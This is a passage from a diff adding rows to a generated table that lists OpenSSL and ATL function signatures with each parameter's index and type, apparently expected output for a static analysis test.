(BIO *,void *,size_t,size_t *) | | BIO_read_ex | 2 | size_t | +| (BIO *,void *,size_t,size_t *) | | BIO_read_ex | 3 | size_t * | +| (BIO_ADDR *) | | BIO_ADDR_sockaddr_noconst | 0 | BIO_ADDR * | +| (BIO_ADDR *,const BIO_ADDR *) | | BIO_ADDR_copy | 0 | BIO_ADDR * | +| (BIO_ADDR *,const BIO_ADDR *) | | BIO_ADDR_copy | 1 | const BIO_ADDR * | +| (BIO_ADDR *,const sockaddr *) | | BIO_ADDR_make | 0 | BIO_ADDR * | +| (BIO_ADDR *,const sockaddr *) | | BIO_ADDR_make | 1 | const sockaddr * | +| (BIO_ADDR *,int,const void *,size_t,unsigned short) | | BIO_ADDR_rawmake | 0 | BIO_ADDR * | +| (BIO_ADDR *,int,const void *,size_t,unsigned short) | | BIO_ADDR_rawmake | 1 | int | +| (BIO_ADDR *,int,const void *,size_t,unsigned short) | | BIO_ADDR_rawmake | 2 | const void * | +| (BIO_ADDR *,int,const void *,size_t,unsigned short) | | BIO_ADDR_rawmake | 3 | size_t | +| (BIO_ADDR *,int,const void *,size_t,unsigned short) | | BIO_ADDR_rawmake | 4 | unsigned short | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_callback_ctrl | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_callback_ctrl | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_create | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_create | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_ctrl | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_ctrl | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_destroy | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_destroy | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_gets | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_gets | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_puts | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_puts | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_read | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_read | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_read_ex | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_read_ex | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_recvmmsg | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_recvmmsg | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_sendmmsg | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_sendmmsg | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_write | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_write | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_write_ex | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_write_ex | 1 | ..(*)(..) | +| (BIO_MSG *,BIO_MSG *) | | bio_msg_copy | 0 | BIO_MSG * | +| (BIO_MSG *,BIO_MSG *) | | bio_msg_copy | 1 | BIO_MSG * | +| (BLAKE2B_CTX *,const BLAKE2B_PARAM *) | | ossl_blake2b_init | 0 | BLAKE2B_CTX * | +| (BLAKE2B_CTX *,const BLAKE2B_PARAM *) | | ossl_blake2b_init | 1 | const BLAKE2B_PARAM * | +| (BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *) | | ossl_blake2b_init_key | 0 | BLAKE2B_CTX * | +| (BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *) | | ossl_blake2b_init_key | 1 | const BLAKE2B_PARAM * | +| (BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *) | | ossl_blake2b_init_key | 2 | const void * | +| (BLAKE2B_CTX *,const void *,size_t) | | ossl_blake2b_update | 0 | BLAKE2B_CTX * | +| (BLAKE2B_CTX *,const void *,size_t) | | ossl_blake2b_update | 1 | const void * | +| (BLAKE2B_CTX *,const void *,size_t) | | ossl_blake2b_update | 2 | size_t | +| (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_personal | 0 | BLAKE2B_PARAM * | +| (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_personal | 1 | const uint8_t * | +| (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_personal | 2 | size_t | +| (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_salt | 0 | BLAKE2B_PARAM * | +| (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_salt | 1 | const uint8_t * | +| (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_salt | 2 | size_t | +| (BLAKE2B_PARAM *,uint8_t) | | ossl_blake2b_param_set_digest_length | 0 | BLAKE2B_PARAM * | +| (BLAKE2B_PARAM *,uint8_t) | | ossl_blake2b_param_set_digest_length | 1 | uint8_t | +| (BLAKE2B_PARAM *,uint8_t) | | ossl_blake2b_param_set_key_length | 0 | BLAKE2B_PARAM * | +| (BLAKE2B_PARAM *,uint8_t) | | ossl_blake2b_param_set_key_length | 1 | uint8_t | +| (BLAKE2S_CTX *,const BLAKE2S_PARAM *) | | ossl_blake2s_init | 0 | BLAKE2S_CTX * | +| (BLAKE2S_CTX *,const BLAKE2S_PARAM *) | | ossl_blake2s_init | 1 | const BLAKE2S_PARAM * | +| (BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *) | | ossl_blake2s_init_key | 0 | BLAKE2S_CTX * | +| (BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *) | | ossl_blake2s_init_key | 1 | const BLAKE2S_PARAM * | +| (BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *) | | ossl_blake2s_init_key | 2 | const void * | +| (BLAKE2S_CTX *,const void *,size_t) | | ossl_blake2s_update | 0 | BLAKE2S_CTX * | +| (BLAKE2S_CTX *,const void *,size_t) | | ossl_blake2s_update | 1 | const void * | +| (BLAKE2S_CTX *,const void *,size_t) | | ossl_blake2s_update | 2 | size_t | +| (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_personal | 0 | BLAKE2S_PARAM * | +| (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_personal | 1 | const uint8_t * | +| (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_personal | 2 | size_t | +| (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_salt | 0 | BLAKE2S_PARAM * | +| (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_salt | 1 | const uint8_t * | +| (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_salt | 2 | size_t | +| (BLAKE2S_PARAM *,uint8_t) | | ossl_blake2s_param_set_digest_length | 0 | BLAKE2S_PARAM * | +| (BLAKE2S_PARAM *,uint8_t) | | ossl_blake2s_param_set_digest_length | 1 | uint8_t | +| (BLAKE2S_PARAM *,uint8_t) | | ossl_blake2s_param_set_key_length | 0 | BLAKE2S_PARAM * | +| (BLAKE2S_PARAM *,uint8_t) | | ossl_blake2s_param_set_key_length | 1 | uint8_t | +| (BN_BLINDING *,BN_CTX *) | | BN_BLINDING_update | 0 | BN_BLINDING * | +| (BN_BLINDING *,BN_CTX *) | | BN_BLINDING_update | 1 | BN_CTX * | +| (BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *) | | BN_BLINDING_create_param | 0 | BN_BLINDING * | +| (BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *) | | BN_BLINDING_create_param | 1 | const BIGNUM * | +| (BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *) | | BN_BLINDING_create_param | 2 | BIGNUM * | +| (BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *) | | BN_BLINDING_create_param | 3 | BN_CTX * | +| (BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *) | | BN_BLINDING_create_param | 4 | ..(*)(..) | +| (BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *) | | BN_BLINDING_create_param | 5 | BN_MONT_CTX * | +| (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 0 | BN_BLINDING * | +| (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 1 | unsigned long | +| (BN_CTX *) | | BN_CTX_get | 0 | BN_CTX * | +| (BN_CTX *) | | ossl_bn_get_libctx | 0 | BN_CTX * | +| (BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *) | | ossl_ffc_params_validate_unverifiable_g | 0 | BN_CTX * | +| (BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *) | | ossl_ffc_params_validate_unverifiable_g | 1 | BN_MONT_CTX * | +| (BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *) | | ossl_ffc_params_validate_unverifiable_g | 2 | const BIGNUM * | +| (BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *) | | ossl_ffc_params_validate_unverifiable_g | 3 | const BIGNUM * | +| (BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *) | | ossl_ffc_params_validate_unverifiable_g | 4 | const BIGNUM * | +| (BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *) | | ossl_ffc_params_validate_unverifiable_g | 5 | BIGNUM * | +| (BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *) | | ossl_ffc_params_validate_unverifiable_g | 6 | int * | +| (BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_rsa_get_lcm | 0 | BN_CTX * | +| (BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_rsa_get_lcm | 1 | const BIGNUM * | +| (BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_rsa_get_lcm | 2 | const BIGNUM * | +| (BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_rsa_get_lcm | 3 | BIGNUM * | +| (BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_rsa_get_lcm | 4 | BIGNUM * | +| (BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_rsa_get_lcm | 5 | BIGNUM * | +| (BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_rsa_get_lcm | 6 | BIGNUM * | +| (BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_rsa_get_lcm | 7 | BIGNUM * | +| (BN_CTX *,const DSA *,const BIGNUM *,BIGNUM *) | | ossl_dsa_generate_public_key | 0 | BN_CTX * | +| (BN_CTX *,const DSA *,const BIGNUM *,BIGNUM *) | | ossl_dsa_generate_public_key | 1 | const DSA * | +| (BN_CTX *,const DSA *,const BIGNUM *,BIGNUM *) | | ossl_dsa_generate_public_key | 2 | const BIGNUM * | +| (BN_CTX *,const DSA *,const BIGNUM *,BIGNUM *) | | ossl_dsa_generate_public_key | 3 | BIGNUM * | +| (BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *) | | ossl_ffc_generate_private_key | 0 | BN_CTX * | +| (BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *) | | ossl_ffc_generate_private_key | 1 | const FFC_PARAMS * | +| (BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *) | | ossl_ffc_generate_private_key | 2 | int | +| (BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *) | | ossl_ffc_generate_private_key | 3 | int | +| (BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *) | | ossl_ffc_generate_private_key | 4 | BIGNUM * | +| (BN_GENCB *) | | BN_GENCB_get_arg | 0 | BN_GENCB * | +| (BN_GENCB *,..(*)(..),void *) | | BN_GENCB_set | 0 | BN_GENCB * | +| (BN_GENCB *,..(*)(..),void *) | | BN_GENCB_set | 1 | ..(*)(..) | +| (BN_GENCB *,..(*)(..),void *) | | BN_GENCB_set | 2 | void * | +| (BN_GENCB *,..(*)(..),void *) | | BN_GENCB_set_old | 0 | BN_GENCB * | +| (BN_GENCB *,..(*)(..),void *) | | BN_GENCB_set_old | 1 | ..(*)(..) | +| (BN_GENCB *,..(*)(..),void *) | | BN_GENCB_set_old | 2 | void * | +| (BN_GENCB *,EVP_PKEY_CTX *) | | evp_pkey_set_cb_translate | 0 | BN_GENCB * | +| (BN_GENCB *,EVP_PKEY_CTX *) | | evp_pkey_set_cb_translate | 1 | EVP_PKEY_CTX * | +| (BN_MONT_CTX **,CRYPTO_RWLOCK *,const BIGNUM *,BN_CTX *) | | BN_MONT_CTX_set_locked | 0 | BN_MONT_CTX ** | +| (BN_MONT_CTX **,CRYPTO_RWLOCK *,const BIGNUM *,BN_CTX *) | | BN_MONT_CTX_set_locked | 1 | CRYPTO_RWLOCK * | +| (BN_MONT_CTX **,CRYPTO_RWLOCK *,const BIGNUM *,BN_CTX *) | | BN_MONT_CTX_set_locked | 2 | const BIGNUM * | +| (BN_MONT_CTX **,CRYPTO_RWLOCK *,const BIGNUM *,BN_CTX *) | | BN_MONT_CTX_set_locked | 3 | BN_CTX * | +| (BN_MONT_CTX *,BN_MONT_CTX *) | | BN_MONT_CTX_copy | 0 | BN_MONT_CTX * | +| (BN_MONT_CTX *,BN_MONT_CTX *) | | BN_MONT_CTX_copy | 1 | BN_MONT_CTX * | +| (BN_MONT_CTX *,const BIGNUM *,BN_CTX *) | | BN_MONT_CTX_set | 0 | BN_MONT_CTX * | +| (BN_MONT_CTX *,const BIGNUM *,BN_CTX *) | | BN_MONT_CTX_set | 1 | const BIGNUM * | +| (BN_MONT_CTX *,const BIGNUM *,BN_CTX *) | | BN_MONT_CTX_set | 2 | BN_CTX * | +| (BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t) | | ossl_bn_mont_ctx_set | 0 | BN_MONT_CTX * | +| (BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t) | | ossl_bn_mont_ctx_set | 1 | const BIGNUM * | +| (BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t) | | ossl_bn_mont_ctx_set | 2 | int | +| (BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t) | | ossl_bn_mont_ctx_set | 3 | const unsigned char * | +| (BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t) | | ossl_bn_mont_ctx_set | 4 | size_t | +| (BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t) | | ossl_bn_mont_ctx_set | 5 | uint32_t | +| (BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t) | | ossl_bn_mont_ctx_set | 6 | uint32_t | +| (BN_RECP_CTX *,const BIGNUM *,BN_CTX *) | | BN_RECP_CTX_set | 0 | BN_RECP_CTX * | +| (BN_RECP_CTX *,const BIGNUM *,BN_CTX *) | | BN_RECP_CTX_set | 1 | const BIGNUM * | +| (BN_RECP_CTX *,const BIGNUM *,BN_CTX *) | | BN_RECP_CTX_set | 2 | BN_CTX * | +| (BUF_MEM *,size_t) | | BUF_MEM_grow | 0 | BUF_MEM * | +| (BUF_MEM *,size_t) | | BUF_MEM_grow | 1 | size_t | +| (BUF_MEM *,size_t) | | BUF_MEM_grow_clean | 0 | BUF_MEM * | +| (BUF_MEM *,size_t) | | BUF_MEM_grow_clean | 1 | size_t | +| (CA_DB *,time_t *) | | do_updatedb | 0 | CA_DB * | +| (CA_DB *,time_t *) | | do_updatedb | 1 | time_t * | | (CAtlFile &) | CAtlFile | CAtlFile | 0 | CAtlFile & | +| (CCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ccm128_aad | 0 | CCM128_CONTEXT * | +| (CCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ccm128_aad | 1 | const unsigned char * | +| (CCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ccm128_aad | 2 | size_t | +| (CCM128_CONTEXT *,const unsigned char *,size_t,size_t) | | CRYPTO_ccm128_setiv | 0 | CCM128_CONTEXT * | +| (CCM128_CONTEXT *,const unsigned char *,size_t,size_t) | | CRYPTO_ccm128_setiv | 1 | const unsigned char * | +| (CCM128_CONTEXT *,const unsigned char *,size_t,size_t) | | CRYPTO_ccm128_setiv | 2 | size_t | +| (CCM128_CONTEXT *,const unsigned char *,size_t,size_t) | | CRYPTO_ccm128_setiv | 3 | size_t | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ccm128_decrypt | 0 | CCM128_CONTEXT * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ccm128_decrypt | 1 | const unsigned char * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ccm128_decrypt | 2 | unsigned char * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ccm128_decrypt | 3 | size_t | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ccm128_encrypt | 0 | CCM128_CONTEXT * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ccm128_encrypt | 1 | const unsigned char * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ccm128_encrypt | 2 | unsigned char * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ccm128_encrypt | 3 | size_t | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f) | | CRYPTO_ccm128_decrypt_ccm64 | 0 | CCM128_CONTEXT * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f) | | CRYPTO_ccm128_decrypt_ccm64 | 1 | const unsigned char * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f) | | CRYPTO_ccm128_decrypt_ccm64 | 2 | unsigned char * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f) | | CRYPTO_ccm128_decrypt_ccm64 | 3 | size_t | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f) | | CRYPTO_ccm128_decrypt_ccm64 | 4 | ccm128_f | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f) | | CRYPTO_ccm128_encrypt_ccm64 | 0 | CCM128_CONTEXT * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f) | | CRYPTO_ccm128_encrypt_ccm64 | 1 | const unsigned char * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f) | | CRYPTO_ccm128_encrypt_ccm64 | 2 | unsigned char * | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f) | | CRYPTO_ccm128_encrypt_ccm64 | 3 | size_t | +| (CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f) | | CRYPTO_ccm128_encrypt_ccm64 | 4 | ccm128_f | +| (CCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ccm128_tag | 0 | CCM128_CONTEXT * | +| (CCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ccm128_tag | 1 | unsigned char * | +| (CCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ccm128_tag | 2 | size_t | +| (CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f) | | CRYPTO_ccm128_init | 0 | CCM128_CONTEXT * | +| (CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f) | | CRYPTO_ccm128_init | 1 | unsigned int | +| (CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f) | | CRYPTO_ccm128_init | 2 | unsigned int | +| (CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f) | | CRYPTO_ccm128_init | 3 | void * | +| (CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f) | | CRYPTO_ccm128_init | 4 | block128_f | | (CComBSTR &&) | CComBSTR | CComBSTR | 0 | CComBSTR && | +| (CERT *) | | ssl_cert_dup | 0 | CERT * | +| (CERT *,..(*)(..),void *) | | ssl_cert_set_cert_cb | 0 | CERT * | +| (CERT *,..(*)(..),void *) | | ssl_cert_set_cert_cb | 1 | ..(*)(..) | +| (CERT *,..(*)(..),void *) | | ssl_cert_set_cert_cb | 2 | void * | +| (CERT *,X509 *) | | ssl_cert_select_current | 0 | CERT * | +| (CERT *,X509 *) | | ssl_cert_select_current | 1 | X509 * | +| (CERT *,X509_STORE **,int) | | ssl_cert_get_cert_store | 0 | CERT * | +| (CERT *,X509_STORE **,int) | | ssl_cert_get_cert_store | 1 | X509_STORE ** | +| (CERT *,X509_STORE **,int) | | ssl_cert_get_cert_store | 2 | int | +| (CERT *,const int *,size_t,int) | | tls1_set_sigalgs | 0 | CERT * | +| (CERT *,const int *,size_t,int) | | tls1_set_sigalgs | 1 | const int * | +| (CERT *,const int *,size_t,int) | | tls1_set_sigalgs | 2 | size_t | +| (CERT *,const int *,size_t,int) | | tls1_set_sigalgs | 3 | int | +| (CERT *,const uint16_t *,size_t,int) | | tls1_set_raw_sigalgs | 0 | CERT * | +| (CERT *,const uint16_t *,size_t,int) | | tls1_set_raw_sigalgs | 1 | const uint16_t * | +| (CERT *,const uint16_t *,size_t,int) | | tls1_set_raw_sigalgs | 2 | size_t | +| (CERT *,const uint16_t *,size_t,int) | | tls1_set_raw_sigalgs | 3 | int | +| (CERTIFICATEPOLICIES *) | | CERTIFICATEPOLICIES_free | 0 | CERTIFICATEPOLICIES * | +| (CERTIFICATEPOLICIES **,const unsigned char **,long) | | d2i_CERTIFICATEPOLICIES | 0 | CERTIFICATEPOLICIES ** | +| (CERTIFICATEPOLICIES **,const unsigned char **,long) | | d2i_CERTIFICATEPOLICIES | 1 | const unsigned char ** | +| (CERTIFICATEPOLICIES **,const unsigned char **,long) | | d2i_CERTIFICATEPOLICIES | 2 | long | +| (CMAC_CTX *) | | CMAC_CTX_get0_cipher_ctx | 0 | CMAC_CTX * | +| (CMAC_CTX *,const CMAC_CTX *) | | CMAC_CTX_copy | 0 | CMAC_CTX * | +| (CMAC_CTX *,const CMAC_CTX *) | | CMAC_CTX_copy | 1 | const CMAC_CTX * | +| (CMAC_CTX *,const void *,size_t) | | CMAC_Update | 0 | CMAC_CTX * | +| (CMAC_CTX *,const void *,size_t) | | CMAC_Update | 1 | const void * | +| (CMAC_CTX *,const void *,size_t) | | CMAC_Update | 2 | size_t | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *) | | CMAC_Init | 0 | CMAC_CTX * | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *) | | CMAC_Init | 1 | const void * | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *) | | CMAC_Init | 2 | size_t | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *) | | CMAC_Init | 3 | const EVP_CIPHER * | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *) | | CMAC_Init | 4 | ENGINE * | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[]) | | ossl_cmac_init | 0 | CMAC_CTX * | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[]) | | ossl_cmac_init | 1 | const void * | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[]) | | ossl_cmac_init | 2 | size_t | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[]) | | ossl_cmac_init | 3 | const EVP_CIPHER * | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[]) | | ossl_cmac_init | 4 | ENGINE * | +| (CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[]) | | ossl_cmac_init | 5 | const OSSL_PARAM[] | +| (CMAC_CTX *,unsigned char *,size_t *) | | CMAC_Final | 0 | CMAC_CTX * | +| (CMAC_CTX *,unsigned char *,size_t *) | | CMAC_Final | 1 | unsigned char * | +| (CMAC_CTX *,unsigned char *,size_t *) | | CMAC_Final | 2 | size_t * | +| (CMS_ContentInfo *) | | CMS_ContentInfo_free | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *) | | CMS_get0_content | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *) | | ossl_cms_get0_auth_enveloped | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *) | | ossl_cms_get0_enveloped | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo **,const unsigned char **,long) | | d2i_CMS_ContentInfo | 0 | CMS_ContentInfo ** | +| (CMS_ContentInfo **,const unsigned char **,long) | | d2i_CMS_ContentInfo | 1 | const unsigned char ** | +| (CMS_ContentInfo **,const unsigned char **,long) | | d2i_CMS_ContentInfo | 2 | long | +| (CMS_ContentInfo *,BIO *) | | CMS_dataInit | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,BIO *) | | CMS_dataInit | 1 | BIO * | +| (CMS_ContentInfo *,BIO *) | | ossl_cms_EnvelopedData_final | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,BIO *) | | ossl_cms_EnvelopedData_final | 1 | BIO * | +| (CMS_ContentInfo *,BIO *,BIO *,unsigned int) | | CMS_digest_verify | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,BIO *,BIO *,unsigned int) | | CMS_digest_verify | 1 | BIO * | +| (CMS_ContentInfo *,BIO *,BIO *,unsigned int) | | CMS_digest_verify | 2 | BIO * | +| (CMS_ContentInfo *,BIO *,BIO *,unsigned int) | | CMS_digest_verify | 3 | unsigned int | +| (CMS_ContentInfo *,BIO *,BIO *,unsigned int) | | CMS_final | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,BIO *,BIO *,unsigned int) | | CMS_final | 1 | BIO * | +| (CMS_ContentInfo *,BIO *,BIO *,unsigned int) | | CMS_final | 2 | BIO * | +| (CMS_ContentInfo *,BIO *,BIO *,unsigned int) | | CMS_final | 3 | unsigned int | +| (CMS_ContentInfo *,BIO *,const unsigned char *,unsigned int) | | ossl_cms_SignedData_final | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,BIO *,const unsigned char *,unsigned int) | | ossl_cms_SignedData_final | 1 | BIO * | +| (CMS_ContentInfo *,BIO *,const unsigned char *,unsigned int) | | ossl_cms_SignedData_final | 2 | const unsigned char * | +| (CMS_ContentInfo *,BIO *,const unsigned char *,unsigned int) | | ossl_cms_SignedData_final | 3 | unsigned int | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *) | | CMS_decrypt_set1_pkey | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *) | | CMS_decrypt_set1_pkey | 1 | EVP_PKEY * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *) | | CMS_decrypt_set1_pkey | 2 | X509 * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *,BIO *,BIO *,unsigned int) | | CMS_decrypt | 0 | CMS_ContentInfo * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *,BIO *,BIO *,unsigned int) | | CMS_decrypt | 1 | EVP_PKEY * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *,BIO *,BIO *,unsigned int) | | CMS_decrypt | 2 | X509 * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *,BIO *,BIO *,unsigned int) | | CMS_decrypt | 3 | BIO * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *,BIO *,BIO *,unsigned int) | | CMS_decrypt | 4 | BIO * | +| (CMS_ContentInfo *,EVP_PKEY *,X509 *,BIO *,BIO *,unsigned int) | | 